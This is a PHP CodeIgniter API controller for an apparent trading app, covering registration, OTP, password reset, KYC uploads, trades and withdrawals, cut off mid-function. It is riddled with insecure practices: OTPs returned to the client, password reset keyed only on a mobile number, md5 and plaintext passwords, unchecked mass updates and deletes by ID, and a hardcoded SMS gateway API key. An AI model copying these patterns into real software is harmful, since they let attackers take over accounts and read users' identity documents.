<?php header("Access-Control-Allow-Origin: *");
defined('BASEPATH') OR exit('No direct script access allowed');
class Rest extends MY_Controller {
	function __construct(){
        parent::__construct();
		$this->load->library("upload");
		$this->load->library("email");
		date_default_timezone_set('Asia/Kolkata');
		error_reporting(0);
		//redirect("Rest");
    }

	public function news(){
		$this->load->view("news");
	}

	public function forex1(){
		$this->load->view("forex1");
	}

	public function getdata(){
		$url = "https://www.oanda.com/bvi-en/cfds/instruments/xau-usd/";
		// get page HTML
		$html = file_get_contents($url);
		// load into DOM
		$dom = new DOMDocument();
		libxml_use_internal_errors(true);
		$dom->loadHTML($html);
		libxml_clear_errors();
		$xpath = new DOMXPath($dom);
		// extract both matching divs
		$nodes = $xpath->query("//div[contains(@class,'DetailedPrice__detailedPriceValue__uJX_p')]");
		if ($nodes->length > 0) {
			echo trim($nodes->item(0)->textContent); // first value
		} else {
			echo "N/A";
		}
	}

	public function goldapi(){
		$this->load->view("goldapi");
	}

	public function update_crypto_price(){
		echo "<pre>";print_r($_POST);
		$this->db->where("curr_name",$_POST['pair']);
		$this->db->update("curr_pips",array("cbuy_price"=>$_POST['bid'],"csell_price"=>$_POST['ask']));
	}

	
    public function otp_verify_api(){
       // echo json_encode(array("msg"=>"Mobile Number Not Registered.","status"=>"failed"));exit;
		$data = json_decode(file_get_contents('php://input'), true);
        $this->db->select("id,first_name,mobile,email,max_lot");
        $chk=$this->db->get_where("users",array("mobile"=>$data['mobile']))->row_array();
       // array_merge($chk,$msg);
        echo json_encode($chk);
    }

	public function web_otp_verify_api(){
       // echo json_encode(array("msg"=>"Mobile Number Not Registered.","status"=>"failed"));exit;
		$data = $_POST;//json_decode(file_get_contents('php://input'), true);
        $this->db->select("id,first_name,mobile,email,max_lot");
        $chk=$this->db->get_where("users",array("mobile"=>$data['mobile']))->row_array();
       // array_merge($chk,$msg);
        echo json_encode($chk);
    }

	



	public function otp_verify_api23(){
		$data = json_decode(file_get_contents('php://input'), true);
		if($this->db->insert("users",array("admin_approve"=>"Disable","email"=>$data['email'],"mobile"=>$data['mobile'],"first_name"=>$data['name'],"password"=>md5($data['password']),"act_status"=>'active',"created"=>date("Y-m-d")))==true){
			$lid=$this->db->insert_id();		
			$d=array("msg"=>"Registration Completed Successfully.","status"=>'success',"lid"=>$lid,"email"=>$data['email']);	
		}else{
			$d=array("msg"=>"Couldnot register you at the moment. please try later.","status"=>1);	
		}
		echo json_encode($d);
	}

public function otp_verify_api3(){

	//$data = json_decode(file_get_contents('php://input'), true);
	$chk3=$this->db->get_where("users",array("email"=>$_POST['email'],"act_status"=>"active"))->num_rows();
	$chk1=$this->db->get_where("users",array("mobile"=>$_POST['phone'],"act_status"=>"active"))->num_rows();
	if($chk3>0){$d=array("msg"=>"Email is already registeredd.","status"=>1);exit;}
	if($chk1>0){$d=array("msg"=>"Mobile is already registeredd.","status"=>1);exit;}
	if($this->db->insert("users",array("admin_approve"=>"Disable","email"=>$_POST['email'],"mobile"=>$_POST['phone'],"first_name"=>$_POST['name'],"password"=>md5($_POST['password']),"act_status"=>'active',"created"=>date("Y-m-d")))==true){
		
		$lid=$this->db->insert_id();		

		$d=array("msg"=>"Registration Completed Successfully.","status"=>0,"lid"=>$lid,"email"=>$_POST['email']);	

	}else{

		$d=array("msg"=>"Couldnot register you at the moment. please try later.","status"=>1);	

	}

echo json_encode($d);

}

	public function edit_order_api($id){
	  echo json_encode($this->db->get_where("user_trades",array("trade_id"=>$id))->row_array());
	}

	public function contact_api($user){
		$data = json_decode(file_get_contents('php://input'), true);
		///echo json_encode($data);exit;/
		if($this->db->insert("contact",array("cn_name"=>$data['name'],"cn_phone"=>$data['mobile'],
		"cn_msg"=>$data['message'],"cn_subject"=>$data['subject'],"cn_date"=>date("Y-m-d")))==true){
			 echo json_encode(array("msg"=>"Enquiry Sent Successfully."));
		}else{
			 echo json_encode(array("msg"=>"Enquiry couldnot be Sent. Please try later."));
		}
	}

	public function web_contact_api(){
		$data = $_POST;//json_decode(file_get_contents('php://input'), true);
		///echo json_encode($data);exit;/
		if($this->db->insert("contact",array("cn_name"=>$data['name'],"cn_phone"=>$data['mobile'],
		"cn_msg"=>$data['message'],"cn_subject"=>$data['subject'],"cn_date"=>date("Y-m-d")))==true){
			 echo json_encode(array("msg"=>"Enquiry Sent Successfully."));
		}else{
			 echo json_encode(array("msg"=>"Enquiry couldnot be Sent. Please try later."));
		}
	}

	public function square_off_api($id){

				$user=$this->db->get_where("user_trades",array("trade_id"=>$id))->row();
				$uu=$this->db->get_where("users",array("id"=>$user->userid))->row();
				if($uu->pchange=='yes'){
						echo json_encode(array("status"=>1,"msg"=>"Couldnot process request"));exit;
				}
		$this->db->where("trade_id",$id);
		$this->db->update("user_trades",array("trade_status"=>"EXIT","trade_exit_time"=>date("Y-m-d h:i a")));	
				$this->db->order_by("trid","desc");
				$chk=$this->db->get_where("user_trans",array("userid"=>$user->userid))->row();
				
				//print_r($l);
				$wallet=$chk->left_amt;
				//if($user->profit_loss>0){
//					$newbal=$wallet+$user->profit_loss;
//				}else{
					$newbal=$wallet+$user->profit_loss;
				//}
				if($user->profit_loss>0){
				$typ="Trade Credit";	
				}else{
				$typ="Trade Debit";	
				}
				if($this->db->get_where("user_trans",array("buysell_id"=>$id))->num_rows()==0){
				$this->db->insert("user_trans",array("buysell_id"=>$id,"tr_amt"=>$user->profit_loss,"tr_type"=>$typ,"tr_date"=>date("Y-m-d"),"left_amt"=>$newbal,"userid"=>$user->userid));
				echo json_encode(array("status"=>0,"msg"=>"Order Exit Successfully"));
				}
	}
	
	public function square_off_api2($id){	
		$this->db->where("trade_id",$id);
		$this->db->update("user_trades",array("trade_exit_time"=>date("Y-m-d h:i a"),"trade_status"=>"EXIT"));
		$user=$this->db->get_where("user_trades",array("trade_id"=>$id))->row();
		
			$this->db->order_by("trid","desc");
			$chk=$this->db->get_where("user_trans",array("userid"=>$user->userid))->row();
			
			$wallet=$chk->left_amt;
			$newbal=$wallet+$user->profit_loss;
			if($user->profit_loss>0){
				$ty="Trade Credit";
				}
				else{
				$ty="Trade Debit";
					}
					if($this->db->get_where("user_trans",array("buysell_id"=>$id))->num_rows()==0){
			$this->db->insert("user_trans",array("buysell_id"=>$id,"tr_amt"=>$user->profit_loss,
			"tr_type"=>$ty,"tr_date"=>date("Y-m-d"),"left_amt"=>$newbal,"userid"=>$user->userid));
					}
			echo json_encode(array("msg"=>"Exit Successfully","status"=>0));
    }

	public function depo_image(){
		header('Content-Type: application/json');

    // Config upload
    $config['upload_path']   = './assets/kyc/';
    $config['allowed_types'] = 'jpg|jpeg|png';
    $config['max_size']      = 2048; // 2 MB
    $config['encrypt_name']  = TRUE; // random file name

    $this->load->library('upload', $config);

    if (!$this->upload->do_upload('photo')) {
        // Upload failed
        $error = array('error' => $this->upload->display_errors());
        echo json_encode($error);
    } else {
        // Upload success
        $data = $this->upload->data();
        $filename = $data['file_name'];

        echo json_encode([
            'status' => 'success',
            'img'    => $filename,
            'url'    => base_url('assets/kyc/' . $filename),
        ]);
    }
	}
	

public function reset_password_api(){
		$data = json_decode(file_get_contents('php://input'), true);
		$this->db->where("mobile",$data['mobile']);
		if($this->db->update("users",array("password"=>md5($data['password'])))==true){
			echo json_encode(array("msg"=>"Your Password is reset Successfully.","status"=>0));	
		}else{
			echo json_encode(array("msg"=>"Your Password couldnot be reset.","status"=>1));	
		}
	}
	
public function web_reset_password_api(){
		$data = $_POST;//json_decode(file_get_contents('php://input'), true);
		$this->db->where("mobile",$data['mobile']);
		if($this->db->update("users",array("password"=>md5($data['password'])))==true){
			echo json_encode(array("msg"=>"Your Password is reset Successfully.","status"=>0));	
		}else{
			echo json_encode(array("msg"=>"Your Password couldnot be reset.","status"=>1));	
		}
	}
	
	public function forgot_password_api(){

		$form = json_decode(file_get_contents('php://input'), true);
		//echo json_encode($form);exit;
		$chk=$this->db->get_where("users",array("mobile"=>$form['mobile']));

		if($chk->num_rows()>0){

			$u=$chk->row();
			
			$mob = $form['mobile']; // A single number or a comma-seperated list of numbers

			$rand=rand(100000,999999);

			$this->db->where("id",$u->id);

			$this->db->update("users",array("reset_link"=>$rand));
		
		//$message = urlencode("$rand is Your Ample Commodity Registration OTP.");
			$message = urlencode("Your ZENTH-MCX Verification OTP is $rand");
			
		$url = "http://sms.bulksmsind.in/sendSMS?username=satish3112&message=$message&sendername=MCXREG&smstype=TRANS&numbers=$mob&apikey=6a121a9b-e0e8-4b70-8657-c4e4ff82c044";

$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
		$contents = curl_exec($ch);
		
			echo json_encode(array("msg"=>"We have sent an OTP to your mobile & email please check and verify.","status"=>0,"mob"=>$form['mobile'],"otp"=>$rand));	

		}else{

			echo json_encode(array("msg"=>"No Account Found with this number.","status"=>1));	

		}

	}
	

	public function web_forgot_password_api(){

		$form = $_POST;//json_decode(file_get_contents('php://input'), true);
		//echo json_encode($form);exit;
		$chk=$this->db->get_where("users",array("mobile"=>$form['mobile']));

		if($chk->num_rows()>0){

			$u=$chk->row();
			
			$mob = $form['mobile']; // A single number or a comma-seperated list of numbers

			$rand=rand(100000,999999);

			$this->db->where("id",$u->id);

			$this->db->update("users",array("reset_link"=>$rand));
		
		//$message = urlencode("$rand is Your Ample Commodity Registration OTP.");
			$message = urlencode("Your ZENTH-MCX Verification OTP is $rand");
			
		$url = "http://sms.bulksmsind.in/sendSMS?username=satish3112&message=$message&sendername=MCXREG&smstype=TRANS&numbers=$mob&apikey=6a121a9b-e0e8-4b70-8657-c4e4ff82c044";

$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
		$contents = curl_exec($ch);
		
			echo json_encode(array("msg"=>"We have sent an OTP to your mobile & email please check and verify.","status"=>0,"mob"=>$form['mobile'],"otp"=>$rand));	

		}else{

			echo json_encode(array("msg"=>"No Account Found with this number.","status"=>1));	

		}

	}
	
	public function upload_image_api(){
		//move_uploaded_file($_FILES['photo']['tmp_name'], './photos/' . $_FILES['photo']['name']);
		///echo "<pre>";print_r($_REQUEST);exit;
		$img="";
		if(!empty($_FILES["photo"]["name"])){
				$config['upload_path'] = './assets/kyc/';
				$config['allowed_types'] = 'gif|jpg|png|jpeg|svg';
				$config['max_size']	= '1000000';
				$this->upload->initialize($config);
				if (!$this->upload->do_upload('photo'))
				{
				echo $this->upload->display_errors();
				}
				else
				{	
				$pic = $this->upload->data();
				$img=$pic['file_name'];
				}
		} 
		echo json_encode(array("img"=>$img));
	}

	public function user_live_api($uid){
		$this->db->where("id",$uid);
		$this->db->update("users",array("last_active"=>time()));
		echo json_encode(array("msg"=>"Live User Updated ".time()));
	}

	public function testmail(){
		$data['rand']=rand(100000,999999);
			
		$message ='test mail';//$this->load->view("otpmail",$data,TRUE);
		$this->email->set_newline("\r\n");//
		$this->email->set_mailtype("html");
		$this->email->to("t97152707@gmail.com");
		$this->email->from("info@aurofxmarket.in");
		$this->email->subject('AuroFx Market Registration OTP');
		$this->email->message($message);
		$this->email->send();
	}
	
	public function register_api0(){
		$data = json_decode(file_get_contents('php://input'), true);
		//echo json_encode($data);exit;
		$chk3=$this->db->get_where("users",array("email"=>$data['email'],"act_status"=>"active"))->num_rows();
		$chk4=$this->db->get_where("users",array("mobile"=>$data['mobile'],"act_status"=>"active"))->num_rows();
		if($chk3>0){$d=array("msg"=>"Email is already registeredd.","status"=>1);}else
			if($chk4>0){$d=array("msg"=>"Mobile is already registeredd.","status"=>1);}else{
	// 	$rand="352711";
	// 	$data['rand']=$rand;//rand(100000,999999);

	// 	        $mob=$data['mobile'];
	 	$rand=rand(100000,999999);			
	// 	//$message = urlencode("Your ZENTH-MCX Verification OTP is $rand");		
	// 	$message = urlencode("Your ZNT-WISDOM reg code is $rand");	
	// 	$url = "http://sms.bulksmsind.in/sendSMS?username=satish3112&message=$message&sendername=MCXREG&smstype=TRANS&numbers=$mob&apikey=6a121a9b-e0e8-4b70-8657-c4e4ff82c044";

	// $ch = curl_init();
	// curl_setopt ($ch, CURLOPT_URL, $url);
	// curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
	// curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
	// 		$contents = curl_exec($ch);
			
		// $message = $this->load->view("otpmail",$data,TRUE);//$rand.' is Your 6 Digit OTP for New Registration';//$this->load->view("welcome_mail",$data,true);
		// $this->email->set_newline("\r\n");
		// $this->email->set_mailtype("html");
		// $this->email->to($data['email']);
		// $this->email->from("info@aurofxmarket.in");
		// $this->email->subject('AuroFx Market Registration OTP');
		// $this->email->message($message);
		// $this->email->send();
		$d=array("msg"=>"Complete Your Registration...","status"=>"success","otp"=>$rand);	
		}echo json_encode($d);
	}

	public function web_register_api0(){
		$data = $_POST;//json_decode(file_get_contents('php://input'), true);
		//echo json_encode($data);exit;
		$chk3=$this->db->get_where("users",array("email"=>$data['email'],"act_status"=>"active"))->num_rows();
		$chk4=$this->db->get_where("users",array("mobile"=>$data['phone'],"act_status"=>"active"))->num_rows();
		$chk5=$this->db->get_where("users",array("username"=>$data['phone'],"act_status"=>"active"))->num_rows();
		if($chk3>0){$d=array("msg"=>"Email is already registered.","status"=>1);}else
		if($chk4>0){$d=array("msg"=>"Mobile is already registered.","status"=>1);}else
		if($chk5>0){$d=array("msg"=>"Username is already registered.","status"=>1);}else{
		//$rand=rand(100000,999999);
// 		$mob=$data['phone'];
 		$rand=rand(100000,999999);
		
// 			//Your ZNT-WISDOM reg code is {#var#}	
// 		$message = urlencode("Your ZNT-WISDOM reg code is $rand");
// $url = "http://sms.bulksmsind.in/sendSMS?username=satish3112&message=$message&sendername=MCXREG&smstype=TRANS&numbers=$mob&apikey=6a121a9b-e0e8-4b70-8657-c4e4ff82c044";
		
// 			$ch = curl_init();			
// 			curl_setopt ($ch, CURLOPT_URL, $url);			
// 			curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);			
// 			curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
// 			$contents = curl_exec($ch);	
		$d=array("msg"=>"Please Verify 6 Digit OTP sent on Your Email.","status"=>0,"otp"=>$rand);	
		}echo json_encode($d);//
	}

	public function react_register(){
		//e+++++++++++++++s//cho js+++++++++++++++on_encode($_POST);exit;
		//echo "<pre>";print_r($_POST);
			$aadhar_img=$aadhar_img1=$pan_img="";
			if(!empty($_FILES["aadhar_img"]["name"])){
				$config['upload_path'] = './assets/kyc/';
				$config['allowed_types'] = 'gif|jpg|png|jpeg|svg';
				$config['max_size']	= '10000000';
				$this->upload->initialize($config);
				if (!$this->upload->do_upload('aadhar_img'))
				{
				echo $this->upload->display_errors();
				}
				else
				{	
				$pic = $this->upload->data();
				$aadhar_img=base_url().'assets/kyc/'.$pic['file_name'];
				}
			}if(!empty($_FILES["aadhar_img1"]["name"])){
				$config['upload_path'] = './assets/kyc/';
				$config['allowed_types'] = 'gif|jpg|png|jpeg|svg';
				$config['max_size']	= '10000000';
				$this->upload->initialize($config);
				if (!$this->upload->do_upload('aadhar_img1'))
				{
				echo $this->upload->display_errors();
				}
				else
				{	
				$pic = $this->upload->data();
				$aadhar_img1=base_url().'assets/kyc/'.$pic['file_name'];
				}
			}
			if(!empty($_FILES["pan_img"]["name"])){
				$config['upload_path'] = './assets/kyc/';
				$config['allowed_types'] = 'gif|jpg|png|jpeg|svg';
				$config['max_size']	= '10000000';
				$this->upload->initialize($config);
				if (!$this->upload->do_upload('pan_img'))
				{
				echo $this->upload->pan_img();
				}
				else
				{	
				$pic = $this->upload->data();
				$pan_img=base_url().'assets/kyc/'.$pic['file_name'];
				}
			}
		//
		if($this->db->insert("users",array("trade_limit"=>1,"admin_approve"=>"Disable","max_lot"=>1,"mobile"=>$_POST['phone'],"password"=>md5($_POST['password']),
		"email"=>$_POST['email'],"first_name"=>$_POST['name'],"act_link"=>rand(1000,9999),"act_status"=>'active',
		"aadhar_number"=>$_POST['aadhar'],"pan_number"=>$_POST['pan'],"aadhar_doc"=>$aadhar_img,"aadhar_doc2"=>$aadhar_img1,
		"pan_doc"=>$pan_img,"created"=>date("Y-m-d")))==true){
				
				$lid=$this->db->insert_id();
			
				$d=array("msg"=>"Registration Completed Successfully. You will receive login details soon","status"=>0,"lid"=>$lid);	

			}else{

				$d=array("msg"=>"Couldnot register you at the moment. please try later.","status"=>1);	

			}

		echo json_encode($d);
		
	}
	
	public function register_api2(){

		$data = json_decode(file_get_contents('php://input'), true);

			//echo json_encode($data);exit;
			if($this->db->insert("users",array("admin_approve"=>"Disable","email"=>$data['email'],"first_name"=>$data['name'],"act_status"=>'active',
			"password"=>md5($data['password']),"rpass"=>$data['password'],"created"=>date("Y-m-d")))==true){
				
				$lid=$this->db->insert_id();
				
			//	$this->db->insert("notifications",array("notif_date"=>date("Y-m-d"),"notif_datetime"=>date("Y-m-d H:i:s"),"notif_title"=>"New Client Registration","notif_msg"=>$data['name'].' Mo. '.$data['mobile'].' Registered.'));
				//$mets=$this->db->get("metals")->result();
//				$i=0;foreach($mets as $metal){
//					//if($_POST['brok'][$i]!=0){
//					$met=0;
//					$this->db->insert("user_assets",array("uid"=>$lid,"asset_type"=>$metal->metal,"asset_brok"=>0));
//					
//					//}
//				$i++;}

				$d=array("email"=>$data['email'],"name"=>$data['name'],"msg"=>"Registration Completed Successfully.","status"=>0,"lid"=>$lid);	

			}else{

				$d=array("msg"=>"Couldnot register you at the moment. please try later.","status"=>1);	

			}

		echo json_encode($d);

	}
	
	public function upload_kyc_api($uid){
		$data = json_decode(file_get_contents('php://input'), true);
//echo json_encode($data);exit;
		$this->db->where("id",$uid);
		if($this->db->update("users",array("aadhar"=>$data['aadhar_number'],"pan_no"=>$data['pan_number'],"aadhar_doc"=>$data['aadhar_doc'],"aadhar_doc2"=>$data['aadhar_doc2'],"pan_doc"=>$data['pan_doc'],"profile_img"=>$data['profile_img']))==true){
			echo json_encode(array("msg"=>"KYC uploaded successfully.","status"=>0));
		}else{
			echo json_encode(array("msg"=>"KYC couldnot be uploaded.","status"=>1));
		}
	}

	public function web_upload_kyc_api(){
		$data = $_POST;//json_decode(file_get_contents('php://input'), true);
//echo json_encode($data);exit;
		$this->db->where("id",$_POST['user_id']);
		if($this->db->update("users",array("aadhar"=>$data['aadhar_number'],"pan_no"=>$data['pan_number'],"aadhar_doc"=>$data['aadhar_doc'],"aadhar_doc2"=>$data['aadhar_doc2'],"pan_doc"=>$data['pan_doc'],"profile_img"=>$data['profile_img']))==true){
			echo json_encode(array("msg"=>"KYC uploaded successfully.","status"=>0));
		}else{
			echo json_encode(array("msg"=>"KYC couldnot be uploaded.","status"=>1));
		}
	}
		
	public function home_forex_api1(){
		$this->db->select("curr_pipid,curr_code,chart_id,curr_name,cupdate,csell_price,cbuy_price,sell_color,buy_color");
		$metals=$this->db->get_where("curr_pips",array("curr_status"=>"yes"))->result_array();
		echo json_encode($metals);
	}
	public function notifs_api($user){
		$this->db->select("*");
		$this->db->from("notifs");
		$this->db->order_by("nid","desc");
		$this->db->where("nuser",$user);
		$this->db->or_where("nuser",'All');
		$metals=$this->db->get()->result_array();

		
$this->db->where("nuser",$user);
$this->db->update("notifs",array("nread"=>"read"));
		echo json_encode($metals);
	}
	
	public function home_forex_api(){
		$this->db->select("curr_pipid,curr_code,chart_id,curr_name,cupdate,csell_price,cbuy_price,sell_color,buy_color");
		$forex=$this->db->get_where("curr_pips",array("curr_status"=>"yes","curr_type"=>"FOREX"))->result_array();
$this->db->select("curr_pipid,curr_code,chart_id,curr_name,cupdate,csell_price,cbuy_price,sell_color,buy_color");
		$crypto=$this->db->get_where("curr_pips",array("curr_status"=>"yes","curr_type"=>"CRYPTO"))->result_array();
$this->db->select("curr_pipid,curr_code,chart_id,curr_name,cupdate,csell_price,cbuy_price,sell_color,buy_color");
		$metals=$this->db->get_where("curr_pips",array("curr_status"=>"yes","curr_type"=>"METAL"))->result_array();
$this->db->select("curr_pipid,curr_code,chart_id,curr_name,cupdate,csell_price,cbuy_price,sell_color,buy_color");
		$stocks=$this->db->get_where("curr_pips",array("curr_status"=>"yes","curr_type"=>"STOCK"))->result_array();

		echo json_encode(array("forex"=>$forex,"crypto"=>$crypto,"metals"=>$metals,"stocks"=>$stocks));
	}
	
	public function banks_api(){
		$banks=$this->db->get("banks")->result_array();
		echo json_encode($banks);
	}
	
	public function change_password_api($id){

		  $data = json_decode(file_get_contents('php://input'), true);

		  $this->db->where("id",$id);

		  if($this->db->update("users",array("password"=>md5($data['password'])))==true){

			  echo json_encode(array("msg"=>"Password Changed Successfully."));

		  }else{

			  echo json_encode(array("msg"=>"Password Couldnot be changed."));

		  }

	  }
	
	public function trade_submit_api(){
	//	exit;
		$d=array("msg"=>'Trade is Disabled',"status"=>1);
		echo json_encode($d);exit;
		$_POST = json_decode(file_get_contents('php://input'), true);//
		
		$exec='';

		

		$mxtr=$this->db->get_where("users",array("id"=>$_POST['user']))->row();
		if($this->db->get_where("user_trades",array("userid"=>$_POST['user'],"trade_status!="=>"EXIT"))->num_rows()>=$mxtr->trade_limit){
			$d=array("msg"=>'You can set maximum '.$mxtr->trade_limit.' Trade at a time.',"status"=>1);echo json_encode($d);exit;
		}
		if($_POST['lotsize']>$mxtr->max_lot){
			$d=array("msg"=>'You can set maximum '.$mxtr->max_lot.' Lot Size.',"status"=>1);echo json_encode($d);exit;
		}
		if($_POST['buy_price']==''){
		echo json_encode(array("status"=>1,"msg"=>"Rates not updated yet."));	exit;
		}
		$bal=$pending=$withdr=0;
		$this->db->order_by("trid","desc");
		$chk=$this->db->get_where("user_trans",array("userid"=>$_POST['user']));
		if($chk->num_rows()>0){
			$l=$chk->row();
		    $bal=$l->left_amt;//-$br->ubrok;
		}
		if($bal<1){
		echo json_encode(array("status"=>1,"msg"=>"Please Add Balance to your wallet."));	exit;
		}
		
		if($_POST['pending_val']!=''){
			$trd_price=$_POST['pending_val'];
			if($_POST['trade_type']=='BUY'){
				if($trd_price>$_POST['buy_price']){
					$exec="plus";
				}else{
					$exec='minus';
				}
			}else{
				if($trd_price>$_POST['sell_price']){
					$exec="plus";
				}else{
					$exec='minus';
				}
			}	
		}else if($_POST['trade_type']=='BUY'){
			$trd_price=$_POST['buy_price'];
		}else{
			$trd_price=$_POST['sell_price'];
		}
		//$cur_code=str_to_upper(str_replace("-","",$_POST['cur_code']));
		$pip=$this->db->get_where("curr_pips",array("curr_code"=>$_POST['cur_code']))->row();
		//echo json_encode(array("rr"=>$exec));exit;
		//$fund_used=$
		//$margin=$_POST['cused'];//round($trd_price*$pip->mrg_val*$_POST['lotsize']*1/$bal*$mxtr->umargin,2);

		$max_mar=$bal;//*$mxtr->umargin;

		$data=array("exec_type"=>$exec,"trade_start_time"=>date("Y-m-d h:i a"),"pending_val"=>$_POST['pending_val'],"trade_status"=>$_POST['order_type'],"userid"=>$_POST['user'],"cpair"=>strtoupper(str_replace("-","_",$_POST['cur_code'])),"curr_pip_val"=>$pip->curr_p,"buy_price"=>$_POST['buy_price'],"trade_price"=>$trd_price,"sell_price"=>$_POST['sell_price'],"lotsize"=>$_POST['lotsize'],"target"=>$_POST['target'],"stoploss"=>$_POST['stoploss'],"trade_type"=>$_POST['trade_type']);
		//echo json_encode($data);exit;
		if($this->db->insert("user_trades",$data)==true){
			echo json_encode(array("status"=>0,"msg"=>"Your Order Placed Successfully.",));
		}else{
			echo json_encode(array("status"=>1,"msg"=>"Your Order Couldnot be Placed."));
		}
	}


	public function web_trade_submit_api(){
	
		//echo json_encode($_POST)
		$exec='';

		

		$mxtr=$this->db->get_where("users",array("id"=>$_POST['user']))->row();
		if($this->db->get_where("user_trades",array("userid"=>$_POST['user'],"trade_status!="=>"EXIT"))->num_rows()>=$mxtr->trade_limit){
			$d=array("msg"=>'You can set maximum '.$mxtr->trade_limit.' Trade at a time.',"status"=>1);echo json_encode($d);exit;
		}
		if($_POST['lotsize']>$mxtr->max_lot){
			$d=array("msg"=>'You can set maximum '.$mxtr->max_lot.' Lot Size.',"status"=>1);echo json_encode($d);exit;
		}
		if($_POST['buy_price']==''){
		echo json_encode(array("status"=>1,"msg"=>"Rates not updated yet."));	exit;
		}
		$bal=$pending=$withdr=0;
		$this->db->order_by("trid","desc");
		$chk=$this->db->get_where("user_trans",array("userid"=>$_POST['user']));
		if($chk->num_rows()>0){
			$l=$chk->row();
		    $bal=$l->left_amt;//-$br->ubrok;
		}
		if($bal<1){
		echo json_encode(array("status"=>1,"msg"=>"Please Add Balance to your wallet."));	exit;
		}
		//echo json_encode($_POST);exit;
		if($_POST['pending_val']!=''){
			$trd_price=$_POST['pending_val'];
			if($_POST['trade_type']=='BUY'){
				if($trd_price>$_POST['buy_price']){
					$exec="plus";
				}else{
					$exec='minus';
				}
			}else{
				if($trd_price>$_POST['sell_price']){
					$exec="plus";
				}else{
					$exec='minus';
				}
			}	
		}else if($_POST['trade_type']=='BUY'){
			$trd_price=$_POST['buy_price'];
		}else{
			$trd_price=$_POST['sell_price'];
		}
		//$cur_code=str_to_upper(str_replace("-","",$_POST['cur_code']));
		$pip=$this->db->get_where("curr_pips",array("curr_code"=>$_POST['cur_code']))->row();
		//echo json_encode(array("rr"=>$exec));exit;
		//$fund_used=$
		$margin=$_POST['cused'];//round($trd_price*$pip->mrg_val*$_POST['lotsize']*1/$bal*$mxtr->umargin,2);

		$max_mar=$bal;//*$mxtr->umargin;

$used=0;
 if($this->db->get_where("user_trades",array("trade_status"=>"Market","userid"=>$_POST['user']))->num_rows()>0){
 $this->db->select_sum('used_margin'); 
 $this->db->where("userid",$_POST['user']); 
 $this->db->where("trade_status",'Market'); 
 $br=$this->db->get('user_trades'); 
	$br=$br->row();
 	$used=$br->used_margin;
 }
	//	echo json_encode(array("status"=>1,"msg"=>"Margin Not Available for this trade.".$max_mar));	exit;
 $free=$max_mar-$used; 
 if($margin>$free){
		echo json_encode(array("status"=>1,"msg"=>"Margin Not Available for this trade.".$used));	exit;
	}
		$data=array("exec_type"=>$exec,"trade_start_time"=>date("Y-m-d h:i a"),"pending_val"=>$_POST['pending_val'],"trade_status"=>$_POST['order_type'],"userid"=>$_POST['user'],"cpair"=>strtoupper(str_replace("-","_",$_POST['cur_code'])),"curr_pip_val"=>$pip->curr_p,"buy_price"=>$_POST['buy_price'],"trade_price"=>$trd_price,"sell_price"=>$_POST['sell_price'],"lotsize"=>$_POST['lotsize'],"target"=>$_POST['target'],"stoploss"=>$_POST['stoploss'],"trade_type"=>$_POST['trade_type'],"used_margin"=>$margin);
		//echo json_encode($data);exit;
		if($this->db->insert("user_trades",$data)==true){
			echo json_encode(array("status"=>0,"msg"=>"Your Order Placed Successfully.",));
		}else{
			echo json_encode(array("status"=>1,"msg"=>"Your Order Couldnot be Placed."));
		}
	}

	
	public function user_details_api($id){
		$data=$this->db->get_where("users",array("id"=>$id))->row_array();
		echo json_encode($data);
	}
	
	public function company_profile_api(){
		echo json_encode($this->db->get("admin")->row_array());	
	}

	public function pay_api(){
		echo json_encode($this->db->get("admin")->row_array());	
	}
	
	public function cancel_withdrawal_api($id){
		$this->db->delete("withdrawls",array("wid"=>$id));
		echo json_encode(array("msg"=>"Request Cancelled","status"=>0));
	}
	public function delete_order_api($id){
		$this->db->delete("user_trades",array("trade_id"=>$id));
		echo json_encode(array("msg"=>"Order Cancelled","status"=>0));
	}
	
	
	public function bank_update_api(){
		//$data = json_decode(file_get_contents('php://input'), true);//
			echo json_encode(array('msg'=>"Update are disable from Company","status"=>1));exit;
		//echo json_encode($data);exit;
		$this->db->where("id",$_POST['id']);
		$query=$this->db->update("users",$_POST);
		if($query==true){
			echo json_encode(array('msg'=>"Your Bank Details updated successfully","status"=>0));
		}else{
			echo json_encode(array('msg'=>"Your Bank Details couldnot be updated","status"=>1));
		}
	}
	
	public function update_profile_api($id){
		$data = json_decode(file_get_contents('php://input'), true);//
			//echo json_encode(array('msg'=>"Update are disable for now","status"=>1));exit;
		//echo json_encode($data);exit;
		$this->db->where("id",$id);
		$query=$this->db->update("users",$data);
		if($query==true){
			echo json_encode(array('msg'=>"Your Profile updated successfully","status"=>0));
		}else{
			echo json_encode(array('msg'=>"Your Profile couldnot be updated","status"=>1));
		}
	}

	public function web_update_profile_api(){
		$data = $_POST;//json_decode(file_get_contents('php://input'), true);//
			//echo json_encode(array('msg'=>"Update are disable for now","status"=>1));exit;
		//echo json_encode($data);exit;
		$this->db->where("id",$data['id']);
		$query=$this->db->update("users",$data);
		if($query==true){
			echo json_encode(array('msg'=>"Your Profile updated successfully","status"=>0));
		}else{
			echo json_encode(array('msg'=>"Your Profile couldnot be updated","status"=>1));
		}
	}
	
	public function withdraw_submit_api($id){

		$data = json_decode(file_get_contents('php://input'), true);

		
		if($this->db->get_where("withdrawls",array("uid"=>$id,"req_status"=>"Pending"))->num_rows()>0){
			echo json_encode(array("status"=>1,"msg"=>"You already have one pending withdrawal request."));exit; 
		}
		
		$this->db->order_by("trid","desc");

		$chk=$this->db->get_where("user_trans",array("userid"=>$id));

  		if($chk->num_rows()>0){

			$l=$chk->row();

			$last_bal=$l->left_amt;

			$leftbb=$last_bal-$data['wusd_amt'];

		    if($leftbb>=0){

		    $this->db->insert("withdrawls",array("wusd_amt"=>$data['wusd_amt'],"req_status"=>"Pending","wamt"=>$data['withdrawAmt'],"uid"=>$id,"req_date"=>date("Y-m-d"))); 

			echo json_encode(array("status"=>0,"msg"=>"You withdrawal request is submitted successfully.")); 

			}else{

			echo json_encode(array("status"=>1,"msg"=>"You dont have enough balance to withdraw.")); 

			}

